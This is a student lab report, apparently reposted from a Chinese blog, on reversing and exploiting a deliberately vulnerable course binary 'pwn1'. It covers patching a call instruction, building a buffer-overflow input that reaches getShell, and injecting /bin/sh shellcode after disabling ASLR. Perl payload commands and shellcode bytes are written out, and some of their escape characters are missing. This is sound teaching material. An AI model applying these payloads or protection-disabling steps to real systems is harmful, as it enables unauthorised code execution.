zoukankan      html  css  js  c++  java
  • 2019-2020-2《网络对抗技术》Exp1 PC平台逆向破解

    一、逆向及bof基础实践说明

    1. 实践目标

    • 对象:名为pwn1的linux可执行文件
    • 程序正常执行流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串
    • 学习目标:该程序同时包含另一个代码片段,getShell,会返回一个可用Shell,而正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何 Shellcode
    • 三个实践内容如下:
      • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
      • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
      • 注入一个自己制作的shellcode并运行这段shellcode
    • 代表现实情况中的攻击目标的思路:
      • 运行原本不可访问的代码片段
      • 强行修改程序执行流
      • 以及注入运行任意代码

    2. 基础知识

    • 需要掌握的内容:
      • 熟悉Linux基本操作
        • 能看懂常用指令,如管道(|)输入、输出重定向(>)等
      • 理解Bof的原理。
        • 能看得懂汇编、机器指令、EIP、指令地址
      • 会使用gdb,vi

    二、直接修改程序机器指令,改变程序执行流程

    • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令 objdump,十六进制编辑工具
    • 学习目标:理解可执行文件与机器指令
    • 进阶:掌握ELF文件格式,掌握动态技术

    1. pwn1的下载安装

    • 首先下载pwn1.zip到pc和kali的共享文件夹下,然后在kali的/mnt/hgfs/下的共享文件夹下解压和移动pwn1文件至实验exp1文件下。!

    2. 反汇编查看函数地址

    • 命令行输入objdump -d pwn1,我们就能看到:
      • pwn1程序主要有main、foo、getshell这三个函数,其中foo函数功能为输出输入的字符串,getshell函数功能为打开一个shell,原程序中main函数只调用了foo函数,也就是我们输入什么内容,pwn1会通过读入,再打印出来,但是函数foo,这个函数有Buffer overflow漏洞。

    • 图中划线处080484b5中的指令为call 8048491
      • 是说这条指令将调用位于地址8048491处的foo函数;
      • 其对应机器指令为e8 d7 ff ff ff,e8即跳转之意。
        • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 EIP + d7ffffff这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是 8048491这个值。

    3. 在vim中修改地址,反汇编查看结果

    • main函数调用foo,对应机器指令为e8 d7 ff ff ff
      • 那我们想让它调用getShell,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行。
      • 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff
    • 首先我们直接使用vim打开pwn1文件后能看到如下乱码:

    • 接下来执行如下操作:

        cp pwn1 pwn2
        vi pwn2
      
    • 以下操作是在vi内

      • 1.按ESC
      • 2.输入以下,将显示模式切换为16进制模式::%!xxd

    • 3.查找要修改的内容:/d7ff!

    • 4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
    • 5.修改d7c3
    • 6.转换16进制为原格式::%!xxd -r!

    • 7.存盘退出vi::wq
    • 修改成功后再通过objdump -d pwn2查看是否修改成功
      • 从下图我们可以看到划线代码已经成功修改了,“d7ffffff”已经变成了“c3ffffff”。

    4. 运行改后的代码,查看效果

    三、通过构造输入参数,造成BOF攻击,改变程序执行流程

    • 知识要求:堆栈结构,返回地址
    • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
    • 进阶:掌握ELF文件格式,掌握动态技术

    1. 反汇编,了解程序的基本功能

    • NOP:No Operation,空操作,作用就是直接跳到下一指令。对应的机器码为90。
    • JNE:结果不为零(或不相等)则跳转。对应的机器码为75。
    • JE:结果为零(或相等)则跳转。对应的机器码为74。
    • JMP:无条件跳转。对应的机器码为对应的eb。
    • CMP: cmp是比较指令,cmp的功能相当于减法指令。它不保存结果,只是影响相应的标志位。其他的指令通过识别这些被影响的标志位来得知比较结果。
      。对应的机器码为83。

    2. 确认输入字符串哪几个字符会覆盖到返回地址

    • gdb pwn2调试程序,输入有规律的字符串如1111111122222222333333334444444412345678,发生段错误产生溢出!

    • 使用info r查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址,接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。

    3. 构造输入字符串

    • 于是我们通过输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input来生成这样的文件。!

    4. 通过管道符|,将input文件作为pwn1的输入

    四、注入Shellcode并执行

    1. 准备工作

    • 先利用apt-get install execstack命令安装execstack软件包

    • 修改些设置(我这里使用的是pwn1的副本pwn3)。

        execstack -s pwn3  //设置堆栈可执行
        execstack -q pwn3    //查询文件的堆栈是否可执行X pwn3
        more /proc/sys/kernel/randomize_va_space
        echo "0" > /proc/sys/kernel/randomize_va_space  //关闭地址随机化
        more /proc/sys/kernel/randomize_va_space
      

    2. 构造要注入的payload

    • Linux下有两种基本构造攻击buf的方法:

      • retaddr+nop+shellcode
      • nop+shellcode+retaddr
    • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

    • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

    • 跟着老师和一些同学开始的做法跳坑里然后爬不出来(此处略去若干字)

    • 重做,默默绕开坑,尝试结构为:anything+retaddr+nops+shellcode

    • 然后我们使用这段shellcode

        perl -e 'print "A" x 32;print "x1x2x3x4x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
      
    • 这样我们就得到了一个input_shellcode

    3. 终端注入这段攻击buf并调试进程

    • 终端注入这段攻击buf

        (cat input_shellcode;cat) | ./pwn3
      
    • 再开另外一个终端,用gdb来调试pwn3这个进程(我这里使用的是pwn1的副本pwn3)。

        ps -ef | grep pwn3
      

    • 启动gdb调试pwn3这个进程,先后输入attach 4523disassemble foo指令

    • 找到ret后在0x080484ae处设置断点。在终端a中回车,程序会执行到断点处,再在b终端输入c在断点处继续运行,然后输入:

        info r esp
      
    • 得到esp的地址0xffffd6ec

    • 以16进制形式查看0xffffd6ec地址后面16字节的内容是在最开始构造的input_shellcode里的内容

        x/16x 0xffffd6ec
      
    • 所以将shellcode注入地址是0xffffd6f0
      0xffffd6ec+4=0xffffd6f0

    4. 重新构造攻击buf:

    • shellcode之前的4321改成d6f0的地址:

        perl -e 'print "A" x 32;print "xf0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
      
    • 再次输入:(cat input_shellcode;cat) | ./pwn3回车之后就可以执行命令了:

    五、实验总结

    1. 实验收获与感想

    这次实验的内容是缓冲区溢出攻击,前两部分是通过直接修改机器指令、构造输入参数来改变程序正常的执行流程,第三部分是通过注入Shellcode并执行来进行攻击。在本次实验之前,我初步学习了Linux的基本操作指令和汇编、机器指令,但没有深入的了解。做完本次实验,我不仅对堆栈的结构和操作有了很多认识,还能够更加熟练地运用管道(|)输入、输出重定向(>)等Linux指令和gdbvi这两个常用工具,得到了成长。虽然我还是只能跟着老师和同学们的步伐来学习,但还是收获颇丰。

    2. 什么是漏洞?漏洞有什么危害?

    • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
    • 漏洞被利用可能造成信息丢失,硬件或软件受损,程序无法正常运行等危害,造成硬件与软件受损从而产生经济损失,影响人们正常的生活、生产、学习、工作。

    六、参考资料

  • 相关阅读:
    asp.net 取windows的所有进程
    ASP.NET页面的字符编码设置
    c# 检测cpu使用率[测试通过]
    三层业务类(DAL)必用的通用方法之一
    火狐最实用的几款插件介绍[含附件]
    c#生成一组不同的随机数的方法
    ASP.NET 缓存 Cache
    web.config中配置字符串中特殊字符的处理
    asp.net产生客户端Cookie与js操作Cookie大全
    jQuery 计时器(jquery timers)简单应用
  • 原文地址:https://www.cnblogs.com/Brass/p/12517624.html
Copyright © 2011-2022 走看看